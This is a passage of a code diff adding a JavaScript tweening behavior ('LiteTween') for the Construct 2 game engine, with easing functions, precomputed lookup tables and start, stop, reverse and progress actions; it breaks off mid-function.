+var easeInOutElasticArray = [];
+var easeInCircle = [];
+var easeOutCircle = [];
+var easeInOutCircle = [];
+var easeInBack = [];
+var easeOutBack = [];
+var easeInOutBack = [];
+var litetween_precision = 10000;
+var updateLimit = 0; //0.0165;
+function easeOutBouncefunc(t) {
+ var b=0.0;
+ var c=1.0;
+ var d=1.0;
+ if ((t/=d) < (1/2.75)) {
+ result = c*(7.5625*t*t) + b;
+ } else if (t < (2/2.75)) {
+ result = c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
+ } else if (t < (2.5/2.75)) {
+ result = c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
+ } else {
+ result = c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
+ }
+ return result;
+}
+function integerize(t, d)
+{
+ return Math.round(t/d*litetween_precision);
+}
+function easeFunc(easing, t, b, c, d, flip, param)
+{
+ var ret_ease = 0;
+ switch (easing) {
+ case 0: // linear
+ ret_ease = c*t/d + b;
+ break;
+ case 1: // easeInQuad
+ ret_ease = c*(t/=d)*t + b;
+ break;
+ case 2: // easeOutQuad
+ ret_ease = -c *(t/=d)*(t-2) + b;
+ break;
+ case 3: // easeInOutQuad
+ if ((t/=d/2) < 1)
+ ret_ease = c/2*t*t + b
+ else
+ ret_ease = -c/2 * ((--t)*(t-2) - 1) + b;
+ break;
+ case 4: // easeInCubic
+ ret_ease = c*(t/=d)*t*t + b;
+ break;
+ case 5: // easeOutCubic
+ ret_ease = c*((t=t/d-1)*t*t + 1) + b;
+ break;
+ case 6: // easeInOutCubic
+ if ((t/=d/2) < 1)
+ ret_ease = c/2*t*t*t + b
+ else
+ ret_ease = c/2*((t-=2)*t*t + 2) + b;
+ break;
+ case 7: // easeInQuart
+ ret_ease = c*(t/=d)*t*t*t + b;
+ break;
+ case 8: // easeOutQuart
+ ret_ease = -c * ((t=t/d-1)*t*t*t - 1) + b;
+ break;
+ case 9: // easeInOutQuart
+ if ((t/=d/2) < 1)
+ ret_ease = c/2*t*t*t*t + b
+ else
+ ret_ease = -c/2 * ((t-=2)*t*t*t - 2) + b;
+ break;
+ case 10: // easeInQuint
+ ret_ease = c*(t/=d)*t*t*t*t + b;
+ break;
+ case 11: // easeOutQuint
+ ret_ease = c*((t=t/d-1)*t*t*t*t + 1) + b;
+ break;
+ case 12: // easeInOutQuint
+ if ((t/=d/2) < 1)
+ ret_ease = c/2*t*t*t*t*t + b
+ else
+ ret_ease = c/2*((t-=2)*t*t*t*t + 2) + b;
+ break;
+ case 13: // easeInCircle
+ if (param.optimized) {
+ ret_ease = easeInCircle[integerize(t,d)];
+ } else {
+ ret_ease = -(Math.sqrt(1-t*t) - 1);
+ }
+ break;
+ case 14: // easeOutCircle
+ if (param.optimized) {
+ ret_ease = easeOutCircle[integerize(t,d)];
+ } else {
+ ret_ease = Math.sqrt(1 - ((t-1)*(t-1)));
+ }
+ break;
+ case 15: // easeInOutCircle
+ if (param.optimized) {
+ ret_ease = easeInOutCircle[integerize(t,d)];
+ } else {
+ if ((t/=d/2) < 1) ret_ease = -c/2 * (Math.sqrt(1 - t*t) - 1) + b
+ else ret_ease = c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
+ }
+ break;
+ case 16: // easeInBack
+ if (param.optimized) {
+ ret_ease = easeInBack[integerize(t,d)];
+ } else {
+ var s = param.s;
+ ret_ease = c*(t/=d)*t*((s+1)*t - s) + b;
+ }
+ break;
+ case 17: // easeOutBack
+ if (param.optimized) {
+ ret_ease = easeOutBack[integerize(t,d)];
+ } else {
+ var s = param.s;
+ ret_ease = c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
+ }
+ break;
+ case 18: // easeInOutBack
+ if (param.optimized) {
+ ret_ease = easeInOutBack[integerize(t,d)];
+ } else {
+ var s = param.s
+ if ((t/=d/2) < 1)
+ ret_ease = c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b
+ else
+ ret_ease = c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
+ }
+ break;
+ case 19: //easeInElastic
+ if (param.optimized) {
+ ret_ease = easeInElasticArray[integerize(t, d)];
+ } else {
+ var a = param.a;
+ var p = param.p;
+ var s = 0;
+ if (t==0) ret_ease = b; if ((t/=d)==1) ret_ease = b+c;
+ if (p==0) p=d*.3; if (a==0 || a < Math.abs(c)) { a=c; s=p/4; }
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
+ ret_ease = -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
+ }
+ break;
+ case 20: //easeOutElastic
+ if (param.optimized) {
+ ret_ease = easeOutElasticArray[integerize(t,d)];
+ } else {
+ var a = param.a;
+ var p = param.p;
+ var s = 0;
+ if (t==0) ret_ease= b; if ((t/=d)==1) ret_ease= b+c; if (p == 0) p=d*.3;
+ if (a==0 || a < Math.abs(c)) { a=c; var s=p/4; }
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
+ ret_ease= (a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b);
+ }
+ break;
+ case 21: //easeInOutElastic
+ if (param.optimized) {
+ ret_ease = easeInOutElasticArray[integerize(t,d)];
+ } else {
+ var a = param.a;
+ var p = param.p;
+ var s = 0;
+ if (t==0) ret_ease = b;
+ if ((t/=d/2)==2) ret_ease = b+c;
+ if (p==0) p=d*(.3*1.5);
+ if (a==0 || a < Math.abs(c)) { a=c; var s=p/4; }
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
+ if (t < 1)
+ ret_ease = -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b
+ else
+ ret_ease = a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
+ }
+ break;
+ case 22: //easeInBounce
+ if (param.optimized) {
+ ret_ease = c - easeOutBounceArray[integerize(d-t, d)] + b;
+ } else {
+ ret_ease = c - easeOutBouncefunc(d-t/d) + b;
+ }
+ break;
+ case 23: //easeOutBounce
+ if (param.optimized) {
+ ret_ease = easeOutBounceArray[integerize(t, d)];
+ } else {
+ ret_ease = easeOutBouncefunc(t/d);
+ }
+ break;
+ case 24: //easeInOutBounce
+ if (param.optimized) {
+ if (t < d/2)
+ ret_ease = (c - easeOutBounceArray[integerize(d-(t*2), d)] + b) * 0.5 +b;
+ else
+ ret_ease = easeOutBounceArray[integerize(t*2-d, d)] * .5 + c*.5 + b;
+ } else {
+ if (t < d/2)
+ ret_ease = (c - easeOutBouncefunc(d-(t*2)) + b) * 0.5 +b;
+ else
+ ret_ease = easeOutBouncefunc((t*2-d)/d) * .5 + c *.5 + b;
+ }
+ break;
+ case 25: //easeInSmoothstep
+ var mt = (t/d) / 2;
+ ret_ease = (2*(mt * mt * (3 - 2*mt)));
+ break;
+ case 26: //easeOutSmoothstep
+ var mt = ((t/d) + 1) / 2;
+ ret_ease = ((2*(mt * mt * (3 - 2*mt))) - 1);
+ break;
+ case 27: //easeInOutSmoothstep
+ var mt = (t / d);
+ ret_ease = (mt * mt * (3 - 2*mt));
+ break;
+ };
+ if (flip)
+ return (c - b) - ret_ease
+ else
+ return ret_ease;
+};
+(function preCalculateArray() {
+ var d = 1.0;
+ var b = 0.0;
+ var c = 1.0;
+ var result = 0.0;
+ var a = 0.0;
+ var p = 0.0;
+ var t = 0.0;
+ var s = 0.0;
+ for (var ti = 0; ti <= litetween_precision; ti++) {
+ t = ti/litetween_precision;
+ if ((t/=d) < (1/2.75)) {
+ result = c*(7.5625*t*t) + b;
+ } else if (t < (2/2.75)) {
+ result = c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
+ } else if (t < (2.5/2.75)) {
+ result = c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
+ } else {
+ result = c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
+ }
+ easeOutBounceArray[ti] = result;
+ t = ti/litetween_precision; a = 0; p = 0;
+ if (t==0) result = b; if ((t/=d)==1) result = b+c;
+ if (p==0) p=d*.3; if (a==0 || a < Math.abs(c)) { a=c; var s=p/4; }
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
+ result = -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
+ easeInElasticArray[ti] = result;
+ t = ti/litetween_precision; a = 0; p = 0;
+ if (t==0) result= b; if ((t/=d)==1) result= b+c; if (p == 0) p=d*.3;
+ if (a==0 || a < Math.abs(c)) { a=c; var s=p/4; }
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
+ result= (a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b);
+ easeOutElasticArray[ti] = result;
+ t = ti/litetween_precision; a = 0; p = 0;
+ if (t==0) result = b;
+ if ((t/=d/2)==2) result = b+c;
+ if (p==0) p=d*(.3*1.5);
+ if (a==0 || a < Math.abs(c)) { a=c; var s=p/4; }
+ else var s = p/(2*Math.PI) * Math.asin (c/a);
+ if (t < 1)
+ result = -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b
+ else
+ result = a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
+ easeInOutElasticArray[ti] = result;
+ t = ti/litetween_precision; easeInCircle[ti] = -(Math.sqrt(1-t*t) - 1);
+ t = ti/litetween_precision; easeOutCircle[ti] = Math.sqrt(1 - ((t-1)*(t-1)));
+ t = ti/litetween_precision;
+ if ((t/=d/2) < 1) result = -c/2 * (Math.sqrt(1 - t*t) - 1) + b
+ else result = c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
+ easeInOutCircle[ti] = result;
+ t = ti/litetween_precision; s = 0;
+ if (s==0) s = 1.70158;
+ result = c*(t/=d)*t*((s+1)*t - s) + b;
+ easeInBack[ti] = result;
+ t = ti/litetween_precision; s = 0;
+ if (s==0) s = 1.70158;
+ result = c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
+ easeOutBack[ti] = result;
+ t = ti/litetween_precision; s = 0; if (s==0) s = 1.70158;
+ if ((t/=d/2) < 1)
+ result = c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b
+ else
+ result = c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
+ easeInOutBack[ti] = result;
+ }
+}());
+var TweenObject = function()
+{
+ var constructor = function (tname, tweened, easefunc, initial, target, duration, enforce)
+ {
+ this.name = tname;
+ this.value = 0;
+ this.setInitial(initial);
+ this.setTarget(target);
+ this.easefunc = easefunc;
+ this.tweened = tweened;
+ this.duration = duration;
+ this.progress = 0;
+ this.state = 0;
+ this.onStart = false;
+ this.onEnd = false;
+ this.onReverseStart = false;
+ this.onReverseEnd = false;
+ this.lastKnownValue = 0;
+ this.lastKnownValue2 = 0;
+ this.enforce = enforce;
+ this.pingpong = 1.0;
+ this.flipEase = false;
+ this.easingparam = [];
+ this.lastState = 1;
+ for (var i=0; i<28; i++) {
+ this.easingparam[i] = {};
+ this.easingparam[i].a = 0.0;
+ this.easingparam[i].p = 0.0;
+ this.easingparam[i].t = 0.0;
+ this.easingparam[i].s = 0.0;
+ this.easingparam[i].optimized = true;
+ }
+ }
+ return constructor;
+}();
+(function () {
+ TweenObject.prototype = {
+ };
+ TweenObject.prototype.flipTarget = function ()
+ {
+ var x1 = this.initialparam1;
+ var x2 = this.initialparam2;
+ this.initialparam1 = this.targetparam1;
+ this.initialparam2 = this.targetparam2;
+ this.targetparam1 = x1;
+ this.targetparam2 = x2;
+ this.lastKnownValue = 0;
+ this.lastKnownValue2 = 0;
+ }
+ TweenObject.prototype.setInitial = function (initial)
+ {
+ this.initialparam1 = parseFloat(initial.split(",")[0]);
+ this.initialparam2 = parseFloat(initial.split(",")[1]);
+ this.lastKnownValue = 0;
+ this.lastKnownValue2 = 0;
+ }
+ TweenObject.prototype.setTarget = function (target)
+ {
+ this.targetparam1 = parseFloat(target.split(",")[0]);
+ this.targetparam2 = parseFloat(target.split(",")[1]);
+ if (isNaN(this.targetparam2)) this.targetparam2 = this.targetparam1;
+ }
+ TweenObject.prototype.OnTick = function(dt)
+ {
+ if (this.state === 0) return -1.0;
+ if (this.state === 1)
+ this.progress += dt;
+ if (this.state === 2)
+ this.progress -= dt;
+ if (this.state === 3) {
+ this.state = 0;
+ }
+ if ((this.state === 4) || (this.state === 6)) {
+ this.progress += dt * this.pingpong;
+ }
+ if (this.state === 5) {
+ this.progress += dt * this.pingpong;
+ }
+ if (this.progress < 0) {
+ this.progress = 0;
+ if (this.state === 4) {
+ this.pingpong = 1;
+ } else if (this.state === 6) {
+ this.pingpong = 1;
+ this.flipEase = false;
+ } else {
+ this.state = 0;
+ }
+ this.onReverseEnd = true;
+ return 0.0;
+ } else if (this.progress > this.duration) {
+ this.progress = this.duration;
+ if (this.state === 4) {
+ this.pingpong = -1;
+ } else if (this.state === 6) {
+ this.pingpong = -1;
+ this.flipEase = true;
+ } else if (this.state === 5) {
+ this.progress = 0.0;
+ } else {
+ this.state = 0;
+ }
+ this.onEnd = true;
+ return 1.0;
+ } else {
+ if (this.flipEase) {
+ var factor = easeFunc(this.easefunc, this.duration - this.progress, 0, 1, this.duration, this.flipEase, this.easingparam[this.easefunc]);
+ } else {
+ var factor = easeFunc(this.easefunc, this.progress, 0, 1, this.duration, this.flipEase, this.easingparam[this.easefunc]);
+ }
+ return factor;
+ }
+ };
+}());
+;
+;
+function trim (str) {
+ return str.replace(/^\s\s*/, '').replace(/\s\s*$/, '');
+}
+cr.behaviors.lunarray_LiteTween = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.lunarray_LiteTween.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ this.i = 0; // progress
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ this.playmode = this.properties[0];
+ this.active = (this.playmode == 1) || (this.playmode == 2) || (this.playmode == 3) || (this.playmode == 4);
+ this.tweened = this.properties[1]; // 0=Position|1=Size|2=Width|3=Height|4=Angle|5=Opacity|6=Value only|7=Horizontal|8=Vertical|9=Scale
+ this.easing = this.properties[2];
+ this.target = this.properties[3];
+ this.targetmode = this.properties[4];
+ this.useCurrent = false;
+ if (this.targetmode === 1) this.target = "relative("+this.target+")";
+ this.duration = this.properties[5];
+ this.enforce = (this.properties[6] === 1);
+ this.value = 0;
+ this.tween_list = {};
+ this.addToTweenList("default", this.tweened, this.easing, "current", this.target, this.duration, this.enforce);
+ if (this.properties[0] === 1) this.startTween(0)
+ if (this.properties[0] === 2) this.startTween(2)
+ if (this.properties[0] === 3) this.startTween(3)
+ if (this.properties[0] === 4) this.startTween(4)
+ };
+ behinstProto.parseCurrent = function(tweened, parseText)
+ {
+ if (parseText === undefined) parseText = "current";
+ var parsed = trim(parseText);
+ parseText = trim(parseText);
+ var value = this.value;
+ if (parseText === "current") {
+ switch (tweened) {
+ case 0: parsed = this.inst.x + "," + this.inst.y; break;
+ case 1: parsed = this.inst.width + "," + this.inst.height; break;
+ case 2: parsed = this.inst.width + "," + this.inst.height; break;
+ case 3: parsed = this.inst.width + "," + this.inst.height; break;
+ case 4: parsed = cr.to_degrees(this.inst.angle) + "," + cr.to_degrees(this.inst.angle); break;
+ case 5: parsed = (this.inst.opacity*100) + "," + (this.inst.opacity*100); break;
+ case 6: parsed = value + "," + value; break;
+ case 7: parsed = this.inst.x + "," + this.inst.y; break;
+ case 8: parsed = this.inst.x + "," + this.inst.y; break;
+ case 9:
+ if (this.inst.curFrame !== undefined)
+ parsed = (this.inst.width/this.inst.curFrame.width) + "," +(this.inst.height/this.inst.curFrame.height)
+ else
+ parsed = "1,1";
+ break;
+ default: break;
+ }
+ }
+ if (parseText.substring(0,8) === "relative") {
+ var param1 = parseText.match(/\((.*?)\)/);
+ if (param1) {
+ var relativex = parseFloat(param1[1].split(",")[0]);
+ var relativey = parseFloat(param1[1].split(",")[1]);
+ }
+ if (isNaN(relativex)) relativex = 0;
+ if (isNaN(relativey)) relativey = 0;
+ switch (tweened) {
+ case 0: parsed = (this.inst.x+relativex) + "," + (this.inst.y+relativey); break;
+ case 1: parsed = (this.inst.width+relativex) + "," + (this.inst.height+relativey); break;
+ case 2: parsed = (this.inst.width+relativex) + "," + (this.inst.height+relativey); break;
+ case 3: parsed = (this.inst.width+relativex) + "," + (this.inst.height+relativey); break;
+ case 4: parsed = (cr.to_degrees(this.inst.angle)+relativex) + "," + (cr.to_degrees(this.inst.angle)+relativey); break;
+ case 5: parsed = (this.inst.opacity*100+relativex) + "," + (this.inst.opacity*100+relativey); break;
+ case 6: parsed = value+relativex + "," + value+relativex; break;
+ case 7: parsed = (this.inst.x+relativex) + "," + (this.inst.y); break;
+ case 8: parsed = (this.inst.x) + "," + (this.inst.y+relativex); break;
+ case 9: parsed = (relativex) + "," + (relativey); break;
+ default: break;
+ }
+ }
+ return parsed;
+ };
+ behinstProto.addToTweenList = function(tname, tweened, easing, init, targ, duration, enforce)
+ {
+ init = this.parseCurrent(tweened, init);
+ targ = this.parseCurrent(tweened, targ);
+ if (this.tween_list[tname] !== undefined) {
+ delete this.tween_list[tname]
+ }
+ this.tween_list[tname] = new TweenObject(tname, tweened, easing, init, targ, duration, enforce);
+ this.tween_list[tname].dt = 0;
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ var v = JSON.stringify(this.tween_list["default"]);
+ return {
+ "playmode": this.playmode,
+ "active": this.active,
+ "tweened": this.tweened,
+ "easing": this.easing,
+ "target": this.target,
+ "targetmode": this.targetmode,
+ "useCurrent": this.useCurrent,
+ "duration": this.duration,
+ "enforce": this.enforce,
+ "value": this.value,
+ "tweenlist": JSON.stringify(this.tween_list["default"])
+ };
+ };
+ TweenObject.Load = function(rawObj, tname, tweened, easing, init, targ, duration, enforce)
+ {
+ var obj = new TweenObject(tname, tweened, easing, init, targ, duration, enforce);
+ for(var i in rawObj)
+ obj[i] = rawObj[i];
+ return obj;
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ var x = JSON.parse(o["tweenlist"]);
+ var tempObj = TweenObject.Load(x, x.name, x.tweened, x.easefunc, x.initialparam1+","+x.initialparam2, x.targetparam1+","+x.targetparam2, x.duration, x.enforce);
+ this.tween_list["default"] = tempObj;
+ this.playmode = o["playmode"];
+ this.active = o["active"];
+ this.movement = o["tweened"];
+ this.easing = o["easing"];
+ this.target = o["target"];
+ this.targetmode = o["targetmode"];
+ this.useCurrent = o["useCurrent"];
+ this.duration = o["duration"];
+ this.enforce = o["enforce"];
+ this.value = o["value"];
+ };
+ behinstProto.setProgressTo = function (mark)
+ {
+ if (mark > 1.0) mark = 1.0;
+ if (mark < 0.0) mark = 0.0;
+ for (var i in this.tween_list) {
+ var inst = this.tween_list[i];
+ inst.lastKnownValue = 0;
+ inst.lastKnownValue2 = 0;
+ inst.state = 3;
+ inst.progress = mark * inst.duration;
+ var factor = inst.OnTick(0);
+ this.updateTween(inst, factor);
+ }
+ }
+ behinstProto.startTween = function (startMode)
+ {
+ for (var i in this.tween_list) {
+ var inst = this.tween_list[i];
+ if (this.useCurrent) {
+ var init = this.parseCurrent(inst.tweened, "current");
+ var target = this.parseCurrent(inst.tweened, this.target);
+ inst.setInitial(init);
+ inst.setTarget(target);
+ }
+ if (startMode === 0) {
+ inst.progress = 0.000001;
+ inst.lastKnownValue = 0;
+ inst.lastKnownValue2 = 0;
+ inst.onStart = true;
+ inst.state = 1;
+ }
+ if (startMode === 1) {
+ inst.state = inst.lastState;
+ }
+ if ((startMode === 2) || (startMode === 4)) {
+ inst.progress = 0.000001;
+ inst.lastKnownValue = 0;
+ inst.lastKnownValue2 = 0;
+ inst.onStart = true;
+ if (startMode == 2) inst.state = 4; //state ping pong
+ if (startMode == 4) inst.state = 6; //state flip flop
+ }
+ if (startMode === 3) {
+ inst.progress = 0.000001;
+ inst.lastKnownValue = 0;
+ inst.lastKnownValue2 = 0;
+ inst.onStart = true;
+ inst.state = 5;
+ }
+ }
+ }
+ behinstProto.stopTween = function (stopMode)
+ {
+ for (var i in this.tween_list) {
+ var inst = this.tween_list[i];
+ if ((inst.state != 3) && (inst.state != 0)) //don't save paused/seek state
+ inst.lastState = inst.state;
+ if (stopMode === 1) inst.progress = 0.0;
+ if (stopMode === 2) inst.progress = inst.duration;
+ inst.state = 3;
+ var factor = inst.OnTick(0);
+ this.updateTween(inst, factor);
+ }
+ }
+ behinstProto.reverseTween = function(reverseMode)
+ {
+ for (var i in this.tween_list) {
+ var inst = this.tween_list[i];
+ if (reverseMode === 1) {
+ inst.progress = inst.duration;
+ inst.lastKnownValue = 0;
+ inst.lastKnownValue2 = 0;
+ inst.onReverseStart = true;
+ }
+ inst.state = 2;
+ }
+ }
+ behinstProto.updateTween = function (inst, factor)
+ {
+ if (inst.tweened === 0) {
+ if (inst.enforce) {
+ this.inst.x = inst.initialparam1 + (inst.targetparam1 - inst.initialparam1) * factor;
+ this.inst.y = inst.initialparam2 + (inst.targetparam2 - inst.initialparam2) * factor;
+ } else {
+ this.inst.x += ((inst.targetparam1 - inst.initialparam1) * factor) - inst.lastKnownValue;
+ this.inst.y += ((inst.targetparam2 - inst.initialparam2) * factor) - inst.lastKnownValue2;
+ inst.lastKnownValue = ((inst.targetparam1 - inst.initialparam1) * factor);
+ inst.lastKnownValue2 = ((inst.targetparam2 - inst.initialparam2) * factor);
+ }
+ } else if (inst.tweened === 1) {
+ if (inst.enforce) {
+ this.inst.width = (inst.initialparam1 + ((inst.targetparam1 - inst.initialparam1) * (factor)));
+ this.inst.height = (inst.initialparam2 + ((inst.targetparam2 - inst.initialparam2) * (factor)));
+ } else {
+ this.inst.width += ((inst.targetparam1 - inst.initialparam1) * factor) - inst.lastKnownValue;
+ this.inst.height += ((inst.targetparam2 - inst.initialparam2) * factor) - inst.lastKnownValue2;
+ inst.lastKnownValue = ((inst.targetparam1 - inst.initialparam1) * factor);
+ inst.lastKnownValue2 = ((inst.targetparam2 - inst.initialparam2) * factor);
+ }
+ } else if (inst.tweened === 2) {
+ if (inst.enforce) {
+ this.inst.width = (inst.initialparam1 + ((inst.targetparam1 - inst.initialparam1) * (factor)));
+ } else {
+ this.inst.width += ((inst.targetparam1 - inst.initialparam1) * factor) - inst.lastKnownValue;
+ inst.lastKnownValue = ((inst.targetparam1 - inst.initialparam1) * factor);
+ }
+ } else if (inst.tweened === 3) {
+ if (inst.enforce) {
+ this.inst.height = (inst.initialparam2 + ((inst.targetparam2 - inst.initialparam2) * (factor)));
+ } else {
+ this.inst.height += ((inst.targetparam2 - inst.initialparam2) * factor) - inst.lastKnownValue2;
+ inst.lastKnownValue2 = ((inst.targetparam2 - inst.initialparam2) * factor);
+ }
+ } else if (inst.tweened === 4) {
+ if (inst.enforce) {
+ var tangle = inst.initialparam1 + (inst.targetparam1 - inst.initialparam1) * factor;
+ this.inst.angle = cr.clamp_angle(cr.to_radians(tangle));
+ } else {
+ var tangle = ((inst.targetparam1 - inst.initialparam1) * factor) - inst.lastKnownValue;
+ this.inst.angle = cr.clamp_angle(this.inst.angle + cr.to_radians(tangle));
+ inst.lastKnownValue = (inst.targetparam1 - inst.initialparam1) * factor;
+ }
+ } else if (inst.tweened === 5) {
+ if (inst.enforce) {
+ this.inst.opacity = (inst.initialparam1 + (inst.targetparam1 - inst.initialparam1) * factor) / 100;
+ } else {
+ this.inst.opacity += (((inst.targetparam1 - inst.initialparam1) * factor) - inst.lastKnownValue) / 100;
+ inst.lastKnownValue = ((inst.targetparam1 - inst.initialparam1) * factor);
+ }
+ } else if (inst.tweened === 6) {
+ if (inst.enforce) {
+ this.value = (inst.initialparam1 + (inst.targetparam1 - inst.initialparam1) * factor);
+ } else {
+ this.value += (((inst.targetparam1 - inst.initialparam1) * factor) - inst.lastKnownValue);
+ inst.lastKnownValue = ((inst.targetparam1 - inst.initialparam1) * factor);
+ }
+ } else if (inst.tweened === 7) {
+ if (inst.enforce) {
+ this.inst.x = inst.initialparam1 + (inst.targetparam1 - inst.initialparam1) * factor;
+ } else {
+ this.inst.x += ((inst.targetparam1 - inst.initialparam1) * factor) - inst.lastKnownValue;
+ inst.lastKnownValue = ((inst.targetparam1 - inst.initialparam1) * factor);
+ }
+ } else if (inst.tweened === 8) {
+ if (inst.enforce) {
+ this.inst.y = inst.initialparam2 + (inst.targetparam2 - inst.initialparam2) * factor;
+ } else {
+ this.inst.y += ((inst.targetparam2 - inst.initialparam2) * factor) - inst.lastKnownValue2;
+ inst.lastKnownValue2 = ((inst.targetparam2 - inst.initialparam2) * factor);
+ }
+ } else if (inst.tweened === 9) {
+ var scalex = inst.initialparam1 + (inst.targetparam1 - inst.initialparam1) * factor;
+ var scaley = inst.initialparam2 + (inst.targetparam2 - inst.initialparam2) * factor;
+ if (this.inst.width < 0) scalex = inst.initialparam1 + (inst.targetparam1 + inst.initialparam1) * -factor;
+ if (this.inst.height < 0) scaley = inst.initialparam2 + (inst.targetparam2 + inst.initialparam2) * -factor;
+ if (inst.enforce) {
+ this.inst.width = this.inst.curFrame.width * scalex;
+ this.inst.height = this.inst.curFrame.height * scaley;
+ } else {
+ if (this.inst.width < 0) {
+ this.inst.width = scalex * (this.inst.width / (-1+inst.lastKnownValue));
+ inst.lastKnownValue = scalex + 1
+ } else {
+ this.inst.width = scalex * (this.inst.width / (1+inst.lastKnownValue));
+ inst.lastKnownValue = scalex - 1;
+ }
+ if (this.inst.height < 0) {
+ this.inst.height = scaley * (this.inst.height / (-1+inst.lastKnownValue2));
+ inst.lastKnownValue2 = scaley + 1
+ } else {
+ this.inst.height = scaley * (this.inst.height / (1+inst.lastKnownValue2));
+ inst.lastKnownValue2 = scaley - 1;
+ }
+ }
+ }
+ this.inst.set_bbox_changed();
+ }
+ behinstProto.tick = function ()
+ {
+ var dt = this.runtime.getDt(this.inst);
+ var inst = this.tween_list["default"];
+ if (inst.state !== 0) {
+ if (inst.onStart) {
+ this.runtime.trigger(cr.behaviors.lunarray_LiteTween.prototype.cnds.OnStart, this.inst);
+ inst.onStart = false;
+ }
+ if (inst.onReverseStart) {
+ this.runtime.trigger(cr.behaviors.lunarray_LiteTween.prototype.cnds.OnReverseStart, this.inst);
+ inst.onReverseStart = false;
+ }
+ this.active = (inst.state == 1) || (inst.state == 2) || (inst.state == 4) || (inst.state == 5) || (inst.state == 6);
+ var factor = inst.OnTick(dt);
+ this.updateTween(inst, factor);
+ if (inst.onEnd) {
+ this.runtime.trigger(cr.behaviors.lunarray_LiteTween.prototype.cnds.OnEnd, this.inst);
+ inst.onEnd = false;
+ }
+ if (inst.onReverseEnd) {
+ this.runtime.trigger(cr.behaviors.lunarray_LiteTween.prototype.cnds.OnReverseEnd, this.inst);
+ inst.onReverseEnd = false;
+ }
+ }
+ };
+ behaviorProto.cnds = {};
+ var cnds = behaviorProto.cnds;
+ cnds.IsActive = function ()
+ {
+ return (this.tween_list["default"].state !== 0);
+ };
+ cnds.IsReversing = function ()
+ {
+ return (this.tween_list["default"].state == 2);
+ };
+ cnds.CompareProgress = function (cmp, v)
+ {
+ var inst = this.tween_list["default"];
+ return cr.do_cmp((inst.progress / inst.duration), cmp, v);
+ };
+ cnds.OnThreshold = function (cmp, v)
+ {
+ var inst = this.tween_list["default"];
+ this.threshold = (cr.do_cmp((inst.progress / inst.duration), cmp, v));
+ var ret = (this.oldthreshold != this.threshold) && (this.threshold);
+ if (ret) {
+ this.oldthreshold = this.threshold;
+ }
+ return ret;
+ };
+ cnds.OnStart = function ()
+ {
+ if (this.tween_list["default"] === undefined)
+ return false;
+ return this.tween_list["default"].onStart;
+ };
+ cnds.OnReverseStart = function ()
+ {
+ if (this.tween_list["default"] === undefined)
+ return false;
+ return this.tween_list["default"].onReverseStart;
+ };
+ cnds.OnEnd = function ()
+ {
+ if (this.tween_list["default"] === undefined)
+ return false;
+ return this.tween_list["default"].onEnd;
+ };
+ cnds.OnReverseEnd = function ()
+ {
+ if (this.tween_list["default"] === undefined)
+ return false;
+ return this.tween_list["default"].onReverseEnd;
+ };
+ behaviorProto.acts = {};
+ var acts = behaviorProto.acts;
+ acts.Start = function (startmode, current)
+ {
+ this.threshold = false;
+ this.oldthreshold = false;
+ this.useCurrent = (current == 1);
+ this.startTween(startmode);
+ };
+ acts.Stop = function (stopmode)
+ {
+ this.stopTween(stopmode);
+ };
+ acts.Reverse = function (revMode)
+ {
+ this.threshold = false;
+ this.oldthreshold = false;
+ this.reverseTween(revMode);
+ };
+ acts.ProgressTo = function (progress)
+ {
+ this.setProgressTo(progress);
+ };
+ acts.SetDuration = function (x)
+ {
+ if (isNaN(x)) return;
+ if (x < 0) return;
+ if (this.tween_list["default"] === undefined) return;
+ this.tween_list["default"].duration = x;
+ };
+ acts.SetEnforce = function (x)
+ {
+ if (this.tween_list["default"] === undefined) return;
+ this.tween_list["default"].enforce = (x===1);
+ };
+ acts.SetInitial = function (x)
+ {
+ if (this.tween_list["default"] === undefined) return;
+ var init = this.parseCurrent(this.tween_list["default"].tweened, x);
+ this.tween_list["default"].setInitial(init);
+ };
+ acts.SetTarget = function (targettype, absrel, x)
+ {
+ if (this.tween_list["default"] === undefined) return;
+ if (isNaN(x)) return;
+ var inst = this.tween_list["default"];
+ var parsed = x + "";
